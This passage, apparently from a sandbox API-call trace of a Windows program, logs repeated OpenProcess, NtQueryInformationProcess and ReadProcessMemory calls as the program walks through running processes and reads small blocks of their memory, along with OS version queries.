lpBaseAddress=0x561d70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.797] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.798] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.799] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.799] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.799] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.800] malloc (_Size=0x9e) returned 0x196ef0d71d0 [0283.800] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56198e, lpBuffer=0x196ef0d71d0, nSize=0x9c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d71d0*, lpNumberOfBytesRead=0x0) returned 1 [0283.800] free (_Block=0x196ef0d71d0) [0283.801] CloseHandle (hObject=0x464) returned 1 [0283.801] _ui64tow_s (in: _Value=0xdb0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3504") returned 0x0 [0283.805] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3504") returned 4 [0283.806] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.806] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.867] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb0) returned 0x464 [0283.867] GetLastError () returned 0x0 [0283.868] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x336018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.868] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.869] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.871] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.871] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x336020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.871] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.872] malloc (_Size=0x64) returned 0x196ef0d0680 [0283.872] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1954, lpBuffer=0x196ef0d0680, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0283.873] free (_Block=0x196ef0d0680) [0283.873] CloseHandle (hObject=0x464) returned 1 [0283.874] _ui64tow_s (in: _Value=0xdb8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3512") returned 0x0 [0283.877] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3512") returned 4 [0283.879] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.879] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.894] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb8) returned 0x464 [0283.894] GetLastError () returned 0x0 [0283.894] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.894] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x363018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.894] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.895] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x581d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.895] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5818f8, lpBuffer=0x670f7c2b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.896] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.897] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.897] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x363020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.897] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.898] malloc (_Size=0x8a) returned 0x196ef0d5fa0 [0283.898] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x58197a, lpBuffer=0x196ef0d5fa0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5fa0*, lpNumberOfBytesRead=0x0) returned 1 [0283.898] free (_Block=0x196ef0d5fa0) [0283.899] CloseHandle (hObject=0x464) returned 1 [0283.899] _ui64tow_s (in: _Value=0xdc8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3528") returned 0x0 [0283.955] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3528") returned 4 [0283.956] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0283.956] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0283.973] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdc8) returned 0x464 [0283.973] GetLastError () returned 0x0 [0283.974] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0283.974] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x255018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0283.974] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0283.974] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0283.974] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x670f7c2b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0283.975] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0283.977] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0283.977] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x255020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0283.977] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0283.977] malloc (_Size=0x76) returned 0x196ef0d2120 [0283.977] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0283.978] free (_Block=0x196ef0d2120) [0283.979] CloseHandle (hObject=0x464) returned 1 [0283.979] _ui64tow_s (in: _Value=0xdd0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3536") returned 0x0 [0284.005] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3536") returned 4 [0284.007] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.007] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.036] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdd0) returned 0x464 [0284.036] GetLastError () returned 0x0 [0284.036] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3eb018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.036] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.037] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.037] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.038] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.039] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.039] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3eb020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.039] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.039] malloc (_Size=0x60) returned 0x196ef0d06f0 [0284.039] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1950, lpBuffer=0x196ef0d06f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0284.040] free (_Block=0x196ef0d06f0) [0284.041] CloseHandle (hObject=0x464) returned 1 [0284.042] _ui64tow_s (in: _Value=0xde0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3552") returned 0x0 [0284.048] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3552") returned 4 [0284.049] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.049] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.065] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde0) returned 0x464 [0284.065] GetLastError () returned 0x0 [0284.066] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.066] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.066] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.066] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.067] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c18f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.068] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.069] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.069] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.069] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.069] malloc (_Size=0x74) returned 0x196ef0d31b0 [0284.070] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.070] free (_Block=0x196ef0d31b0) [0284.071] CloseHandle (hObject=0x464) returned 1 [0284.071] _ui64tow_s (in: _Value=0xde8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0284.083] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3560") returned 4 [0284.084] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.084] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.099] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x464 [0284.099] GetLastError () returned 0x0 [0284.099] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.099] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.100] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.100] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x221d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.100] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2218f8, lpBuffer=0x670f7c2b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.101] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.102] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.102] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.102] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.103] malloc (_Size=0x80) returned 0x196ef0fa9f0 [0284.103] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x221970, lpBuffer=0x196ef0fa9f0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa9f0*, lpNumberOfBytesRead=0x0) returned 1 [0284.103] free (_Block=0x196ef0fa9f0) [0284.104] CloseHandle (hObject=0x464) returned 1 [0284.104] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0284.109] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3576") returned 4 [0284.110] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.110] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.138] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x464 [0284.138] GetLastError () returned 0x0 [0284.138] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.138] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x359018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.139] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0284.139] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x531d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0284.139] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5318f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0284.140] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0284.141] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0284.141] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x359020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0284.142] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5312e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0284.142] malloc (_Size=0x8c) returned 0x196ef0d5640 [0284.142] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x53197c, lpBuffer=0x196ef0d5640, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5640*, lpNumberOfBytesRead=0x0) returned 1 [0284.142] free (_Block=0x196ef0d5640) [0284.143] CloseHandle (hObject=0x464) returned 1 [0284.143] _ui64tow_s (in: _Value=0xe00, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3584") returned 0x0 [0284.148] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3584") returned 4 [0284.149] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0284.149] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0284.167] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe00) returned 0x464 [0284.167] GetLastError () returned 0x0 [0284.167] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0284.167] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x212018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0284.168] 